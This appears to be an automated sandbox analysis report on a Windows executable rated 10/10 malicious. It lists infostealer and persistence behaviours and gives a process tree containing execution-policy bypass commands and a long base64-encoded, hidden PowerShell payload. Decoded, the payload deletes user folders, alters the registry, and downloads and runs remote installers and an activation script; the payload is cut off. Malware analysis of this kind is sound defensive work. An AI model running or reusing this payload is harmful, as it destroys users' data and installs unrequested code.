Resubmissions
17/09/2026, 15:19
260917-sqetta1vax1017/09/2026, 15:17
260917-spahpsseqa17/09/2026, 15:12
260917-sk9f8sselb117/09/2026, 15:04
260917-sfwdtasdpa117/09/2026, 14:57
260917-sbv79a1sev616/09/2026, 01:33
260916-by1yksyx6j1005/09/2026, 14:23
260905-rp7b1atsdx1029/08/2026, 20:19
260829-y3w7hsshmd1029/08/2026, 20:19
260829-y3wkzsshmc27/08/2026, 09:52
260827-lwjavs1xcx10Analysis
- user interaction
yes - max time kernel
1113s - max time network
1803s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/08/2026, 20:19
General
- Target 1705198765139_fttgrop091727639.exe
- Size 5.4MB
- Sample260829-y3w7hsshmd
- SHA256 d491cba96d705dc81d5fdf190d83c1b7409337e12c81a611339b5a0276b14528
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://raw.githubusercontent.com/massgravel/Microsoft-Activation-Scripts/master/MAS/All-In-One-Version-KL/MAS_AIO.cmd
Signatures
- Badlisted process makes network request 6 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Using powershell.exe command.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
- Adds Run key to start application 2 TTPs 2 IoCs
- Boot or Logon Autostart Execution: Active Setup 2 TTPs 18 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
- Contacts third-party web service commonly abused for C2 1 TTPs 15 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Downloads MZ/PE file 2 IoCs
- Drops desktop.ini file(s) 7 IoCs
- Enumerates connected drives 3 TTPs 50 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Drops file in System32 directory 17 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Sets desktop wallpaper using registry 2 TTPs 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 64 IoCs
- Executes dropped EXE 64 IoCs
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Launches sc.exe 36 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Loads dropped DLL 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Checks whether UAC is enabled 1 TTPs 7 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 30 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- System Location Discovery: System Language Discovery 1 TTPs 39 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 9 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Time Discovery 1 TTPs 3 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- NSIS installer 2 IoCs
- Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 1 IoCs
- Enumerates system info in registry 2 TTPs 6 IoCs
- Modifies Internet Explorer settings 1 TTPs 5 IoCs
- Modifies data under HKEY_USERS 62 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 64 IoCs
- Modifies system certificate store 2 TTPs 5 IoCs
- Runs ping.exe 1 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 8 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 45 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe" --local-service2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe" --backend3⤵
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe"C:\Users\Admin\AppData\Local\Temp\1705198765139_fttgrop091727639.exe" --local-control2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004C0 0x00000000000004FC1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Execution Policy Bypass.cmd" "1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg add "HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d "Unrestricted" /f2⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d "Unrestricted" /f2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\Desktop\RestoreUnprotect.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\Desktop\settup.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACQAVQAgAD0AIAAiAEQAbwB3AG4AbABvAGEAZABzACIALAAiAFAAaQBjAHQAdQByAGUAcwAiACwAIgBWAGkAZABlAG8AcwAiACwAIgBNAHUAcwBpAGMAIgAsACIARABvAGMAdQBtAGUAbgB0AHMAIgAsACIARABlAHMAawB0AG8AcAAiAAoAIAAgACAAIAAkAFUAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewBHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAEgATwBNAEUAXAAkAF8AIgAgAC0AUgBlAGMAdQByAHMAZQAgAHwAIABSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQAgAC0ARQBBACAAMAB9AAoAIAAgACAAIABHAGUAdAAtAEMAaABpAGwAZABJAHQAZQBtACAAIgAkAGUAbgB2ADoAUABVAEIATABJAEMAXABEAGUAcwBrAHQAbwBwACIAIAAtAFIAZQBjAHUAcgBzAGUAIAB8ACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBGAG8AcgBjAGUAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEUAQQAgADAACgAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACIAJABlAG4AdgA6AFQARQBNAFAAXAAqACIAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAAKACAAIAAgACAAQwBsAGUAYQByAC0AUgBlAGMAeQBjAGwAZQBCAGkAbgAgAC0ARgBvAHIAYwBlACAALQBFAEEAIAAwAAoACgAgACAAIAAgACQAUAAgAD0AIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgAiAAoAIAAgACAAIAAkAFcAIAA9ACAAIgBDADoAXABXAGkAbgBkAG8AdwBzAFwAVwBlAGIAXABXAGEAbABsAHAAYQBwAGUAcgBcAFQAaABlAG0AZQBBAFwAaQBtAGcAMgAxAC4AagBwAGcAIgAKAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgAkAFAAXABUAGgAZQBtAGUAcwBcAFAAZQByAHMAbwBuAGEAbABpAHoAZQAiACAAIgBTAHkAcwB0AGUAbQBVAHMAZQBzAEwAaQBnAGgAdABUAGgAZQBtAGUAIgAgADAACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAFQAaABlAG0AZQBzAFwAUABlAHIAcwBvAG4AYQBsAGkAegBlACIAIAAiAEEAcABwAHMAVQBzAGUATABpAGcAaAB0AFQAaABlAG0AZQAiACAAMAAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEMAVQA6AFwAQwBvAG4AdAByAG8AbAAgAFAAYQBuAGUAbABcAEQAZQBzAGsAdABvAHAAIgAgACIAVwBhAGwAbABQAGEAcABlAHIAIgAgACQAVwAKACAAIAAgACAAJABTACAAPQAgACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAAUwB5AHMAdABlAG0AUABhAHIAYQBtAGUAdABlAHIAcwBJAG4AZgBvACgAaQBuAHQAIABhACwAIABpAG4AdAAgAHAALAAgAHMAdAByAGkAbgBnACAAdgAsACAAaQBuAHQAIABmACkAOwAnAAoAIAAgACAAIABBAGQAZAAtAFQAeQBwAGUAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAFMAIAAtAE4AYQBtAGUAIAAiAFcAIgAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAAiAFcAaQBuACIAOwAgAFsAVwBpAG4ALgBXAF0AOgA6AFMAeQBzAHQAZQBtAFAAYQByAGEAbQBlAHQAZQByAHMASQBuAGYAbwAoADIAMAAsACAAMAAsACAAJABXACwAIAAzACkACgAKACAAIAAgACAATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwARAB3AG0AIgAgACIARgBvAHIAYwBlAEUAZgBmAGUAYwB0AE0AbwBkAGUAIgAgAC0AVgBhAGwAdQBlACAAMgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAEYAbwByAGMAZQAKACAAIAAgACAACgAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAEUAeABwAGwAbwByAGUAcgBcAFQAYQBzAGsAYgBhAG4AZAAiACAAIgBGAGEAdgBvAHIAaQB0AGUAcwAiACAALQBFAEEAIAAwAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgAkAFAAXABTAGUAYQByAGMAaAAiACAAIgBTAGUAYQByAGMAaABiAG8AeABUAGEAcwBrAGIAYQByAE0AbwBkAGUAIgAgADAACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAEUAeABwAGwAbwByAGUAcgBcAEEAZAB2AGEAbgBjAGUAZAAiACAAIgBTAGgAbwB3AFQAYQBzAGsAVgBpAGUAdwBCAHUAdAB0AG8AbgAiACAAMAAKACAAIAAgACAAUwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgACIAJABQAFwARQB4AHAAbABvAHIAZQByAFwAQQBkAHYAYQBuAGMAZQBkACIAIAAiAFQAYQBzAGsAYgBhAHIATQBuACIAIAAwAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgAkAFAAXABFAHgAcABsAG8AcgBlAHIAXABBAGQAdgBhAG4AYwBlAGQAIgAgACIAVABhAHMAawBiAGEAcgBBAGwAIgAgADEACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAEUAeABwAGwAbwByAGUAcgBcAEEAZAB2AGEAbgBjAGUAZAAiACAAIgBTAHQAYQByAHQAXwBUAHIAYQBjAGsAUAByAG8AZwBzACIAIAAwAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgAkAFAAXABFAHgAcABsAG8AcgBlAHIAXABBAGQAdgBhAG4AYwBlAGQAIgAgACIAUwB0AGEAcgB0AF8AVAByAGEAYwBrAEQAbwBjAHMAIgAgADAACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAiACQAUABcAEUAeABwAGwAbwByAGUAcgAiACAAIgBIAGkAZABlAFIAZQBjAGUAbgB0AEoAdQBtAHAAbABpAHMAdABzACIAIAAxAAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAIgAkAFAAXABFAHgAcABsAG8AcgBlAHIAIgAgACIAUwBoAG8AdwBSAGUAYwBlAG4AdAAiACAAMAAKACAAIAAgACAACgAgACAAIAAgAEcAZQB0AC0AQQBwAHAAeABQAGEAYwBrAGEAZwBlACAAKgBTAHQAYQByAHQATQBlAG4AdQBFAHgAcABlAHIAaQBlAG4AYwBlAEgAbwBzAHQAKgAgAHwAIABSAGUAcwBlAHQALQBBAHAAcAB4AFAAYQBjAGsAYQBnAGUAIAAtAEUAQQAgADAACgAgACAAIAAgAAoAIAAgACAAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgAGUAeABwAGwAbwByAGUAcgAgAC0ARgBvAHIAYwBlAAoAIAAgACAAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgAGQAdwBtACAALQBGAG8AcgBjAGUACgAgACAAIAAgAAoAIAAgACAAIABzAHQAYQByAHQALQBwAHIAbwBjAGUAcwBzACAAIgBjAHQAZgBtAG8AbgAuAGUAeABlACIACgAgACAAIAAgAGcAcABzACAAIgBTAGUAYQByAGMAaABIAG8AcwB0ACIAIAB8ACAAcwB0AG8AcAAtAHAAcgBvAGMAZQBzAHMAIAAtAEYAbwByAGMAZQAKACAAIAAgACAAZwBwAHMAIAAiAFMAdABhAHIAdABNAGUAbgB1AEUAeABwAGUAcgBpAGUAbgBjAGUASABvAHMAdAAiACAAfAAgAHMAdABvAHAALQBwAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUACgAKACAAIAAgACAAUwBlAHQALQBUAGkAbQBlAFoAbwBuAGUAIAAtAEkAZAAgACIAQQByAGEAYgBpAGMAIABTAHQAYQBuAGQAYQByAGQAIABUAGkAbQBlACIACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAEMAbwBuAHQAcgBvAGwAIABQAGEAbgBlAGwAXABJAG4AdABlAHIAbgBhAHQAaQBvAG4AYQBsAFwARwBlAG8AIgAgAC0ATgBhAG0AZQAgACIATgBhAHQAaQBvAG4AIgAgAC0AVgBhAGwAdQBlACAAIgAxADIAMQAiACAALQBFAEEAIAAwAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAtAE4AbwBQACAALQBDACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAUwBlAHQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQByAGkAYQBiAGwAZQAoACcATABhAG4AZwBQAEkARAAnACwAIABgACQAUABJAEQALAAgACcAVQBzAGUAcgAnACkAOwAgAGkAZgAoACEAKABHAGUAdAAtAFcAaQBuAFUAcwBlAHIATABhAG4AZwB1AGEAZwBlAEwAaQBzAHQAKQAuAEwAYQBuAGcAdQBhAGcAZQBUAGEAZwAuAEMAbwBuAHQAYQBpAG4AcwAoACcAYQByAC0ASQBRACcAKQApAHsASQBuAHMAdABhAGwAbAAtAEwAYQBuAGcAdQBhAGcAZQAgAGEAcgAtAEkAUQAgAC0ARQBBACAAMAA7ACAAYAAkAGwAPQBHAGUAdAAtAFcAaQBuAFUAcwBlAHIATABhAG4AZwB1AGEAZwBlAEwAaQBzAHQAOwAgAGkAZgAoACEAKABgACQAbAAuAEwAYQBuAGcAdQBhAGcAZQBUAGEAZwAgAC0AYwBvAG4AdABhAGkAbgBzACAAJwBhAHIALQBJAFEAJwApACkAewBgACQAbAAuAEEAZABkACgAJwBhAHIALQBJAFEAJwApAH0AOwAgAFMAZQB0AC0AVwBpAG4AVQBzAGUAcgBMAGEAbgBnAHUAYQBnAGUATABpAHMAdAAgAGAAJABsACAALQBGAG8AcgBjAGUAfQAiAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgAtAE4AbwBQACAALQBDACAAYAAkAHMAPQAwADsAIAB3AGgAaQBsAGUAKAAhACgARwBlAHQALQBXAGkAbgBVAHMAZQByAEwAYQBuAGcAdQBhAGcAZQBMAGkAcwB0ACkALgBMAGEAbgBnAHUAYQBnAGUAVABhAGcALgBDAG8AbgB0AGEAaQBuAHMAKAAnAGEAcgAtAEkAUQAnACkAIAAtAGEAbgBkACAAYAAkAHMAIAAtAGwAdAAgADMAMAApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgA7ACAAYAAkAHMAKwArAH0AOwAgAGkAZgAoACgARwBlAHQALQBXAGkAbgBVAHMAZQByAEwAYQBuAGcAdQBhAGcAZQBMAGkAcwB0ACkALgBMAGEAbgBnAHUAYQBnAGUAVABhAGcALgBDAG8AbgB0AGEAaQBuAHMAKAAnAGEAcgAtAEkAUQAnACkAKQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AcwAgADUAfQA7ACAAYAAkAHQAPQBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBHAGUAdABFAG4AdgBpAHIAbwBuAG0AZQBuAHQAVgBhAHIAaQBhAGIAbABlACgAJwBMAGEAbgBnAFAASQBEACcALAAgACcAVQBzAGUAcgAnACkAOwAgAGkAZgAoAGAAJAB0ACkAewBTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAYAAkAHQAIAAtAEYAbwByAGMAZQAgAC0ARQBBACAAMAA7ACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAUwBlAHQARQBuAHYAaQByAG8AbgBtAGUAbgB0AFYAYQByAGkAYQBiAGwAZQAoACcATABhAG4AZwBQAEkARAAnACwAIABgACQAbgB1AGwAbAAsACAAJwBVAHMAZQByACcAKQB9ADsAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ASQBkACAAYAAkAFAASQBEACAALQBGAG8AcgBjAGUAIgAKAAoAIAAgACAAIAAkAEEAIAA9ACAAIgAkAFAAXABQAG8AbABpAGMAaQBlAHMAXABBAHMAcwBvAGMAaQBhAHQAaQBvAG4AcwAiADsAIAAkAFQAIAA9ACAAIgAkAFAAXABQAG8AbABpAGMAaQBlAHMAXABBAHQAdABhAGMAaABtAGUAbgB0AHMAIgAKACAAIAAgACAAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABBACkAKQB7AE4AZQB3AC0ASQB0AGUAbQAgACQAQQAgAC0ARgBvAHIAYwBlAH0AOwAgAGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAVAApACkAewBOAGUAdwAtAEkAdABlAG0AIAAkAFQAIAAtAEYAbwByAGMAZQB9AAoAIAAgACAAIABTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAAJABBACAAIgBMAG8AdwBSAGkAcwBrAEYAaQBsAGUAVAB5AHAAZQBzACIAIAAiAC4AZQB4AGUAOwAuAG0AcwBpADsALgBiAGEAdAA7AC4AYwBtAGQAOwAuAHYAYgBzACIACgAgACAAIAAgAFMAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAkAFQAIAAiAFMAYQB2AGUAWgBvAG4AZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIgAgADEACgAKACAAIAAgACAAIgBIAEsATABNACIALAAiAEgASwBDAFUAIgAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACIAJAB7AF8AfQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQAiACAALQBSAGUAYwB1AHIAcwBlACAALQBFAEEAIAAwAAoAIAAgACAAIAAgACAAIAAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgACIAJAB7AF8AfQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABFAGQAZwBlACIAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEUAQQAgADAACgAgACAAIAAgAH0ACgAKACAAIAAgACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAAIgAtAE4AbwBQACAALQBDACAAYAAkAFUAPQBgACQAZQBuAHYAOgBUAEUATQBQACsAJwBcACcAKwAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQArACcALgBlAHgAZQAnADsAIABpAHcAcgAgACcAaAB0AHQAcABzADoALwAvAGQAbAAuAGcAbwBvAGcAbABlAC4AYwBvAG0ALwBjAGgAcgBvAG0AZQAvAGkAbgBzAHQAYQBsAGwALwBsAGEAdABlAHMAdAAvAGMAaAByAG8AbQBlAF8AaQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBPAHUAdAAgAGAAJABVADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAYAAkAFUAIAAnAC8AcwBpAGwAZQBuAHQAIAAvAGkAbgBzAHQAYQBsAGwAJwA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAyADAAOwAgAGcAcABzACAAfAAgAD8AewBgACQAXwAuAE4AYQBtAGUAIAAtAG0AYQB0AGMAaAAgACcAYwBoAHIAbwBtAGUAfABnAG8AbwBnAGwAZQAnACAALQBvAHIAIABgACQAXwAuAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgAC0AbQBhAHQAYwBoACAAJwBjAGgAcgBvAG0AZQB8AGcAbwBvAGcAbABlACcAfQAgAC0ARQBBACAAMAAgAHwAIABzAHQAbwBwAC0AcAByAG8AYwBlAHMAcwAgAC0ARgA7ACAAYABuACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAYAAkAFUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAiAC0ATgBvAFAAIAAtAEMAIABgACQAVQA9AGAAJABlAG4AdgA6AFQARQBNAFAAKwAnAFwAJwArACgARwBlAHQALQBSAGEAbgBkAG8AbQApACsAJwAuAGUAeABlACcAOwAgAGkAdwByACAAJwBoAHQAdABwAHMAOgAvAC8AbABhAHAAdABvAHAALQB1AHAAZABhAHQAZQBzAC4AYgByAGEAdgBlAC4AYwBvAG0ALwBsAGEAdABlAHMAdAAvAHcAaQBuAHgANgA0ACcAIAAtAE8AdQB0ACAAYAAkAFUAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABgACQAVQAgACcALwBzAGkAbABlAG4AdAAgAC8AaQBuAHMAdABhAGwAbAAnADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADIAMAA7ACAAZwBwAHMAIAB8ACAAPwB7AGAAJABfAC4ATgBhAG0AZQAgAC0AbQBhAHQAYwBoACAAJwBiAHIAYQB2AGUAJwAgAC0AbwByACAAYAAkAF8ALgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAG0AYQB0AGMAaAAgACcAYgByAGEAdgBlACcAfQAgAC0ARQBBACAAMAAgAHwAIABzAHQAbwBwAC0AcAByAG8AYwBlAHMAcwAgAC0ARgA7ACAAYABuACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAYAAkAFUAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAiAC0ATgBvAFAAIAAtAEMAIABgACQATQA9ACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBtAGEAcwBzAGcAcgBhAHYAZQBsAC8ATQBpAGMAcgBvAHMAbwBmAHQALQBBAGMAdABpAHYAYQB0AGkAbwBuAC0AUwBjAHIAaQBwAHQAcwAvAG0AYQBzAHQAZQByAC8ATQBBAFMALwBBAGwAbAAtAEkAbgAtAE8AbgBlAC0AVgBlAHIAcwBpAG8AbgAtAEsATAAvAE0AQQBTAF8AQQBJAE8ALgBjAG0AZAAnADsAIABgACQARgA9AGAAJABlAG4AdgA6AFQARQBNAFAAKwAnAFwATQBBAFMALgBjAG0AZAAnADsAIABbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgADMAMAA3ADIAOwAgAGAAJABSAD0AaQByAG0AIABgACQATQA7ACAAaQBmACgAYAAkAFIAKQB7AFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAGAAJABGACAAYAAkAFIAOwAgAHMAYQBwAHMAIABgACQAZQBuAHYAOgBDAG8AbQBTAHAAZQBjACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACcALwBjACcALAAgAGAAXABgACIAYAAkAEYAYABcAGAAIgAsACAAJwAvAGgAdwBpAGQAJwAsACAAJwAvAHMAaQBsAGUAbgB0ACcAIAAtAFc